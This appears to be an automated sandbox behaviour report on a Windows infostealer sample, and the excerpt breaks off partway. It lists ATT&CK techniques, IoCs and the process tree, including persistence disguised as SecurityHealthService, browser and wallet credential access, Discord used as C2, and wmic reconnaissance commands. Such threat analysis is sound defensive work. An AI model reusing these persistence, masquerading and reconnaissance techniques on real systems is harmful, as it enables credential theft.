056aa017f6d549408050869c5477843f3793b48cc44d53e61e753d1ca23474ed

persistence privilege_escalation

pid	Process
3112	chrome.exe
1968	chrome.exe
5484	chrome.exe
5640	msedge.exe
4192	msedge.exe
1692	chrome.exe
940	msedge.exe
4656	chrome.exe
1664	msedge.exe
2496	chrome.exe
576	msedge.exe
3956	chrome.exe
4420	msedge.exe
4600	msedge.exe
2816	chrome.exe
5376	msedge.exe

Creates a file in the Startup directory 1 TTPs 2 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SecurityHealth.exe	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SecurityHealth.exe	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe

Executes dropped EXE 2 IoCs

pid	Process
3652	SecurityHealthService.exe
4576	SecurityHealthService.exe

Loads dropped DLL 64 IoCs

pid	Process
1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
4576	SecurityHealthService.exe
4576	SecurityHealthService.exe
4576	SecurityHealthService.exe
4576	SecurityHealthService.exe
4576	SecurityHealthService.exe
4576	SecurityHealthService.exe
4576	SecurityHealthService.exe
4576	SecurityHealthService.exe
4576	SecurityHealthService.exe
4576	SecurityHealthService.exe
4576	SecurityHealthService.exe
4576	SecurityHealthService.exe
4576	SecurityHealthService.exe
4576	SecurityHealthService.exe
4576	SecurityHealthService.exe
4576	SecurityHealthService.exe
4576	SecurityHealthService.exe
4576	SecurityHealthService.exe
4576	SecurityHealthService.exe
4576	SecurityHealthService.exe
4576	SecurityHealthService.exe
4576	SecurityHealthService.exe
4576	SecurityHealthService.exe
4576	SecurityHealthService.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\SecurityHealthService = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Security\\SecurityHealthService.exe"	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe

Contacts third-party web service commonly abused for C2 1 TTPs 6 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	discord.com
10	discord.com
12	discord.com
109	discord.com
133	discord.com
207	discord.com

Looks up external IP address via web service 1 TTPs 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Internet Connection Discovery

T1016.001

flow	ioc
107	api.ipify.org
1	api.ipify.org
9	api.ipify.org

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Discovers running processes 1 TTPs 4 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

persistence privilege_escalation

Process Discovery

T1057

pid	Process
4420	tasklist.exe
4400	tasklist.exe
244	tasklist.exe
5504	tasklist.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 8 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4160	cmd.exe
2736	cmd.exe
4984	cmd.exe
3316	cmd.exe
3404	cmd.exe
4792	cmd.exe
3292	cmd.exe
5888	cmd.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

Wi-Fi Discovery

T1016.002

pid	Process
5664	netsh.exe
2832	netsh.exe

System Time Discovery 1 TTPs 4 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

System Time Discovery

T1124

pid	Process
2772	chrome.exe
720	msedge.exe
5836	chrome.exe
684	msedge.exe

Detects videocard installed 1 TTPs 2 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3704	wmic.exe
2404	wmic.exe

Enumerates system info in registry 2 TTPs 12 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Kills process with taskkill 36 IoCs

defense_evasion

pid	Process
5148	taskkill.exe
3776	taskkill.exe
5012	taskkill.exe
1652	taskkill.exe
5848	taskkill.exe
3304	taskkill.exe
5980	taskkill.exe
1372	taskkill.exe
4808	taskkill.exe
5832	taskkill.exe
5176	taskkill.exe
472	taskkill.exe
1368	taskkill.exe
1560	taskkill.exe
1104	taskkill.exe
1400	taskkill.exe
3536	taskkill.exe
760	taskkill.exe
3236	taskkill.exe
4432	taskkill.exe
3148	taskkill.exe
2740	taskkill.exe
440	taskkill.exe
4384	taskkill.exe
4616	taskkill.exe
6108	taskkill.exe
2180	taskkill.exe
4808	taskkill.exe
3416	taskkill.exe
1880	taskkill.exe
3092	taskkill.exe
5180	taskkill.exe
1588	taskkill.exe
3340	taskkill.exe
2672	taskkill.exe
5360	taskkill.exe

Modifies data under HKEY_USERS 12 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134302937524200656"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3797332335-34111092-3597280141-1000\{8CBCBFFE-AFCE-4A9B-B94B-D1A1347EE6FB}	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3797332335-34111092-3597280141-1000\{BABDCEA1-50BD-4010-A610-AEA5FD339215}	msedge.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
476	schtasks.exe

Suspicious behavior: EnumeratesProcesses 42 IoCs

pid	Process
5640	wmic.exe
5640	wmic.exe
5640	wmic.exe
5640	wmic.exe
1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
3704	wmic.exe
3704	wmic.exe
3704	wmic.exe
3704	wmic.exe
1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
3032	wmic.exe
3032	wmic.exe
3032	wmic.exe
3032	wmic.exe
5040	powershell.exe
5040	powershell.exe
5040	powershell.exe
3112	chrome.exe
3112	chrome.exe
5708	wmic.exe
5708	wmic.exe
5708	wmic.exe
5708	wmic.exe
4576	SecurityHealthService.exe
4576	SecurityHealthService.exe
2404	wmic.exe
2404	wmic.exe
2404	wmic.exe
2404	wmic.exe
4576	SecurityHealthService.exe
4576	SecurityHealthService.exe
4320	wmic.exe
4320	wmic.exe
4320	wmic.exe
4320	wmic.exe
6028	powershell.exe
6028	powershell.exe
6028	powershell.exe
4656	chrome.exe
4656	chrome.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
4576	SecurityHealthService.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5504	tasklist.exe
Token: SeIncreaseQuotaPrivilege	5640	wmic.exe
Token: SeSecurityPrivilege	5640	wmic.exe
Token: SeTakeOwnershipPrivilege	5640	wmic.exe
Token: SeLoadDriverPrivilege	5640	wmic.exe
Token: SeSystemProfilePrivilege	5640	wmic.exe
Token: SeSystemtimePrivilege	5640	wmic.exe
Token: SeProfSingleProcessPrivilege	5640	wmic.exe
Token: SeIncBasePriorityPrivilege	5640	wmic.exe
Token: SeCreatePagefilePrivilege	5640	wmic.exe
Token: SeBackupPrivilege	5640	wmic.exe
Token: SeRestorePrivilege	5640	wmic.exe
Token: SeShutdownPrivilege	5640	wmic.exe
Token: SeDebugPrivilege	5640	wmic.exe
Token: SeSystemEnvironmentPrivilege	5640	wmic.exe
Token: SeRemoteShutdownPrivilege	5640	wmic.exe
Token: SeUndockPrivilege	5640	wmic.exe
Token: SeManageVolumePrivilege	5640	wmic.exe
Token: 33	5640	wmic.exe
Token: 34	5640	wmic.exe
Token: 35	5640	wmic.exe
Token: 36	5640	wmic.exe
Token: SeIncreaseQuotaPrivilege	5640	wmic.exe
Token: SeSecurityPrivilege	5640	wmic.exe
Token: SeTakeOwnershipPrivilege	5640	wmic.exe
Token: SeLoadDriverPrivilege	5640	wmic.exe
Token: SeSystemProfilePrivilege	5640	wmic.exe
Token: SeSystemtimePrivilege	5640	wmic.exe
Token: SeProfSingleProcessPrivilege	5640	wmic.exe
Token: SeIncBasePriorityPrivilege	5640	wmic.exe
Token: SeCreatePagefilePrivilege	5640	wmic.exe
Token: SeBackupPrivilege	5640	wmic.exe
Token: SeRestorePrivilege	5640	wmic.exe
Token: SeShutdownPrivilege	5640	wmic.exe
Token: SeDebugPrivilege	5640	wmic.exe
Token: SeSystemEnvironmentPrivilege	5640	wmic.exe
Token: SeRemoteShutdownPrivilege	5640	wmic.exe
Token: SeUndockPrivilege	5640	wmic.exe
Token: SeManageVolumePrivilege	5640	wmic.exe
Token: 33	5640	wmic.exe
Token: 34	5640	wmic.exe
Token: 35	5640	wmic.exe
Token: 36	5640	wmic.exe
Token: SeDebugPrivilege	1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
Token: SeIncreaseQuotaPrivilege	3704	wmic.exe
Token: SeSecurityPrivilege	3704	wmic.exe
Token: SeTakeOwnershipPrivilege	3704	wmic.exe
Token: SeLoadDriverPrivilege	3704	wmic.exe
Token: SeSystemProfilePrivilege	3704	wmic.exe
Token: SeSystemtimePrivilege	3704	wmic.exe
Token: SeProfSingleProcessPrivilege	3704	wmic.exe
Token: SeIncBasePriorityPrivilege	3704	wmic.exe
Token: SeCreatePagefilePrivilege	3704	wmic.exe
Token: SeBackupPrivilege	3704	wmic.exe
Token: SeRestorePrivilege	3704	wmic.exe
Token: SeShutdownPrivilege	3704	wmic.exe
Token: SeDebugPrivilege	3704	wmic.exe
Token: SeSystemEnvironmentPrivilege	3704	wmic.exe
Token: SeRemoteShutdownPrivilege	3704	wmic.exe
Token: SeUndockPrivilege	3704	wmic.exe
Token: SeManageVolumePrivilege	3704	wmic.exe
Token: 33	3704	wmic.exe
Token: 34	3704	wmic.exe
Token: 35	3704	wmic.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
3112	chrome.exe
5640	msedge.exe
4656	chrome.exe
5376	msedge.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
4576	SecurityHealthService.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2128 wrote to memory of 1688	2128	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	89
PID 1688 wrote to memory of 4792	1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	90
PID 1688 wrote to memory of 3292	1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	93
PID 3292 wrote to memory of 2448	3292	cmd.exe	95
PID 1688 wrote to memory of 5888	1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	96
PID 1688 wrote to memory of 4160	1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	98
PID 1688 wrote to memory of 5504	1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	100
PID 1688 wrote to memory of 5640	1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	103
PID 1688 wrote to memory of 3704	1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	105
PID 1688 wrote to memory of 3032	1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	107
PID 1688 wrote to memory of 4420	1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	109
PID 1688 wrote to memory of 4728	1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	112
PID 1688 wrote to memory of 476	1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	114
PID 1688 wrote to memory of 5040	1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	116
PID 3652 wrote to memory of 4576	3652	SecurityHealthService.exe	120
PID 1688 wrote to memory of 6108	1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	121
PID 1688 wrote to memory of 4432	1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	123
PID 1688 wrote to memory of 1880	1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	125
PID 1688 wrote to memory of 5148	1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	127
PID 1688 wrote to memory of 1104	1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	129
PID 4576 wrote to memory of 2736	4576	SecurityHealthService.exe	131
PID 4576 wrote to memory of 4984	4576	SecurityHealthService.exe	133
PID 4984 wrote to memory of 1496	4984	cmd.exe	135
PID 1688 wrote to memory of 2180	1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	136
PID 4576 wrote to memory of 3316	4576	SecurityHealthService.exe	138
PID 4576 wrote to memory of 3404	4576	SecurityHealthService.exe	140
PID 1688 wrote to memory of 3112	1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	142
PID 3112 wrote to memory of 4988	3112	chrome.exe	143
PID 3112 wrote to memory of 5936	3112	chrome.exe	144
PID 3112 wrote to memory of 2772	3112	chrome.exe	145
PID 3112 wrote to memory of 5848	3112	chrome.exe	146
PID 3112 wrote to memory of 2496	3112	chrome.exe	148
PID 3112 wrote to memory of 1968	3112	chrome.exe	149
PID 3112 wrote to memory of 5484	3112	chrome.exe	150
PID 3112 wrote to memory of 608	3112	chrome.exe	151
PID 1688 wrote to memory of 4808	1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	154
PID 1688 wrote to memory of 5640	1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	156
PID 5640 wrote to memory of 6124	5640	msedge.exe	157
PID 5640 wrote to memory of 2096	5640	msedge.exe	158
PID 5640 wrote to memory of 720	5640	msedge.exe	159
PID 5640 wrote to memory of 4880	5640	msedge.exe	160
PID 5640 wrote to memory of 940	5640	msedge.exe	162
PID 5640 wrote to memory of 576	5640	msedge.exe	163
PID 5640 wrote to memory of 4600	5640	msedge.exe	164
PID 5640 wrote to memory of 4192	5640	msedge.exe	165
PID 5640 wrote to memory of 3368	5640	msedge.exe	167
PID 5640 wrote to memory of 3404	5640	msedge.exe	168
PID 5640 wrote to memory of 1036	5640	msedge.exe	170
PID 4576 wrote to memory of 4400	4576	SecurityHealthService.exe	171
PID 4576 wrote to memory of 5708	4576	SecurityHealthService.exe	173
PID 4576 wrote to memory of 2404	4576	SecurityHealthService.exe	175
PID 4576 wrote to memory of 4320	4576	SecurityHealthService.exe	177
PID 4576 wrote to memory of 244	4576	SecurityHealthService.exe	179
PID 4576 wrote to memory of 408	4576	SecurityHealthService.exe	181
PID 4576 wrote to memory of 6028	4576	SecurityHealthService.exe	183
PID 4576 wrote to memory of 3092	4576	SecurityHealthService.exe	204
PID 4576 wrote to memory of 3776	4576	SecurityHealthService.exe	187
PID 4576 wrote to memory of 5180	4576	SecurityHealthService.exe	189
PID 4576 wrote to memory of 1372	4576	SecurityHealthService.exe	191
PID 1688 wrote to memory of 1652	1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	193
PID 4576 wrote to memory of 4808	4576	SecurityHealthService.exe	195
PID 1688 wrote to memory of 1588	1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	197
PID 1688 wrote to memory of 5012	1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	199
PID 1688 wrote to memory of 3340	1688	2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	201

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2128
- C:\Users\Admin\AppData\Local\Temp\2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-08-04_e407b0b23cfc17e4eae03a8fc8750a3f_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"
  2⤵
  - Creates a file in the Startup directory
  - Loads dropped DLL
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1688
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ver"
    3⤵
    - Executes a command shell one-liner
    PID:4792
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c mode con: cols=80 lines=30
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3292
  - - C:\Windows\system32\mode.com
      mode con: cols=80 lines=30
      4⤵
      PID:2448
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ver"
    3⤵
    - Executes a command shell one-liner
    PID:5888
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ver"
    3⤵
    - Executes a command shell one-liner
    PID:4160
- - C:\Windows\SYSTEM32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:5504
- - C:\Windows\System32\Wbem\wmic.exe
    wmic bios get serialnumber
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5640
- - C:\Windows\System32\Wbem\wmic.exe
    wmic path win32_videocontroller get name
    3⤵
    - Detects videocard installed
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3704
- - C:\Windows\System32\Wbem\wmic.exe
    wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3032
- - C:\Windows\SYSTEM32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:4420
